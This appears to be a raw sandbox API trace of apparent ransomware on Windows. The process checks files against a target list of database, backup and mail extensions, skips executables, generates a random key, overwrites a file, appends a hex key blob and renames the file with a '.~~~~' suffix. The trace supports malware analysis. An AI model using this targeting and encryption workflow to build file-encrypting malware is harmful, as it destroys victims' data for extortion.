	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0083.672] lstrlenW (lpString=".DACPAC") returned 7
	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0083.672] lstrlenW (lpString=".VHD") returned 4
	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0083.673] lstrlenW (lpString=".DBV") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0083.673] lstrlenW (lpString=".dacpac") returned 7
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0083.673] lstrlenW (lpString=".sdf") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0083.673] lstrlenW (lpString=".accdb") returned 6
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0083.673] lstrlenW (lpString=".DBX") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0083.673] lstrlenW (lpString=".MDT") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0083.673] lstrlenW (lpString=".SQB") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0083.673] lstrlenW (lpString=".vhd") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0083.673] lstrlenW (lpString=".bac") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0083.673] lstrlenW (lpString=".mdf") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0083.673] lstrlenW (lpString=".BAK") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0083.673] lstrlenW (lpString=".BAC") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0083.673] lstrlenW (lpString=".dbs") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0083.673] lstrlenW (lpString=".vhdx") returned 5
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0083.673] lstrlenW (lpString=".NDF") returned 4
	[0083.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0083.673] lstrlenW (lpString=".dat") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0083.674] lstrlenW (lpString=".DBS") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0083.674] lstrlenW (lpString=".CKP") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0083.674] lstrlenW (lpString=".edb") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0083.674] lstrlenW (lpString=".PST") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0083.674] lstrlenW (lpString=".dbf") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0083.674] lstrlenW (lpString=".SQL") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0083.674] lstrlenW (lpString=".pst") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0083.674] lstrlenW (lpString=".dbv") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0083.674] lstrlenW (lpString=".SDF") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0083.674] lstrlenW (lpString=".dtxs") returned 5
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0083.674] lstrlenW (lpString=".db3") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0083.674] lstrlenW (lpString=".OST") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0083.674] lstrlenW (lpString=".dbx") returned 4
	[0083.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0083.675] lstrlenW (lpString=".DB3") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0083.675] lstrlenW (lpString=".DAT") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0083.675] lstrlenW (lpString=".VHDX") returned 5
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0083.675] lstrlenW (lpString=".ndf") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0083.675] lstrlenW (lpString=".DB") returned 3
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0083.675] lstrlenW (lpString=".sql") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0083.675] lstrlenW (lpString=".MYD") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0083.675] lstrlenW (lpString=".DBT") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0083.675] lstrlenW (lpString=".ACCDB") returned 6
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0083.675] lstrlenW (lpString=".fdb") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0083.675] lstrlenW (lpString=".bak") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0083.675] lstrlenW (lpString=".myd") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0083.675] lstrlenW (lpString=".DTXS") returned 5
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0083.675] lstrlenW (lpString=".ckp") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0083.675] lstrlenW (lpString=".dbt") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0083.675] lstrlenW (lpString=".db") returned 3
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0083.675] lstrlenW (lpString=".TXT") returned 4
	[0083.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0083.675] lstrlenW (lpString=".MDF") returned 4
	[0083.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0083.676] lstrlenW (lpString=".bdb") returned 4
	[0083.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0083.676] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0083.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.676] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.677] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.677] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0083.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.677] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20366689433) returned 1
	[0083.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bb5a9b0, dwHighDateTime=0x1d60e1e)) 
	[0083.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0083.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0083.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0083.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acac0
	[0083.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acac0 | out: hHeap=0x300000) returned 1
	[0083.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aaaf0
	[0083.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0083.677] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.677] GetLastError () returned 0x0
	[0083.678] GetLastError () returned 0x0
	[0083.678] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.678] GetLastError () returned 0x0
	[0083.678] GetLastError () returned 0x0
	[0083.680] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff269, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.680] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0xd97, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0xd97, lpOverlapped=0x0) returned 1
	[0083.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0083.681] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.681] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.681] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.681] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.681] CloseHandle (hObject=0x118) returned 1
	[0083.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0083.681] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.~~~~")) returned 1
	[0083.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0083.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0083.682] GetLastError () returned 0x0
	[0083.682] RtlWakeConditionVariable () returned 0x365f70
	[0083.682] GetCurrentThreadId () returned 0xaf0
	[0083.682] GetCurrentThreadId () returned 0xaf0
	[0083.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0083.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab378 | out: hHeap=0x300000) returned 1
	[0083.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aca88 | out: hHeap=0x300000) returned 1
	[0083.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab378
	[0083.683] lstrlenW (lpString=".scr") returned 4
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0083.683] lstrlenW (lpString=".cmd") returned 4
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0083.683] lstrlenW (lpString=".dll") returned 4
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0083.683] lstrlenW (lpString=".bat") returned 4
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0083.683] lstrlenW (lpString=".cpl") returned 4
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0083.683] lstrlenW (lpString=".sys") returned 4
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0083.683] lstrlenW (lpString=".msc") returned 4
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0083.683] lstrlenW (lpString=".com") returned 4
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0083.683] lstrlenW (lpString=".lnk") returned 4
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0083.683] lstrlenW (lpString=".msp") returned 4
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0083.683] lstrlenW (lpString=".pif") returned 4
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0083.683] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0083.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.711] lstrlenW (lpString=".sqb") returned 4
	[0083.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0083.711] lstrlenW (lpString=".ost") returned 4
	[0083.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0083.711] lstrlenW (lpString=".txt") returned 4
	[0083.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0083.711] lstrlenW (lpString=".mdt") returned 4
	[0083.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0083.711] lstrlenW (lpString=".BDB") returned 4
	[0083.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0083.711] lstrlenW (lpString=".eql") returned 4
	[0083.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0083.711] lstrlenW (lpString=".DBF") returned 4
	[0083.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0083.711] lstrlenW (lpString=".EQL") returned 4
	[0083.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0083.711] lstrlenW (lpString=".FDB") returned 4
	[0083.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0083.711] lstrlenW (lpString=".EDB") returned 4
	[0083.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0083.711] lstrlenW (lpString=".DACPAC") returned 7
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0083.712] lstrlenW (lpString=".VHD") returned 4
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0083.712] lstrlenW (lpString=".DBV") returned 4
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0083.712] lstrlenW (lpString=".dacpac") returned 7
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0083.712] lstrlenW (lpString=".sdf") returned 4
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0083.712] lstrlenW (lpString=".accdb") returned 6
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0083.712] lstrlenW (lpString=".DBX") returned 4
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0083.712] lstrlenW (lpString=".MDT") returned 4
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0083.712] lstrlenW (lpString=".SQB") returned 4
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0083.712] lstrlenW (lpString=".vhd") returned 4
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0083.712] lstrlenW (lpString=".bac") returned 4
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0083.712] lstrlenW (lpString=".mdf") returned 4
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0083.712] lstrlenW (lpString=".BAK") returned 4
	[0083.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0083.712] lstrlenW (lpString=".BAC") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0083.713] lstrlenW (lpString=".dbs") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0083.713] lstrlenW (lpString=".vhdx") returned 5
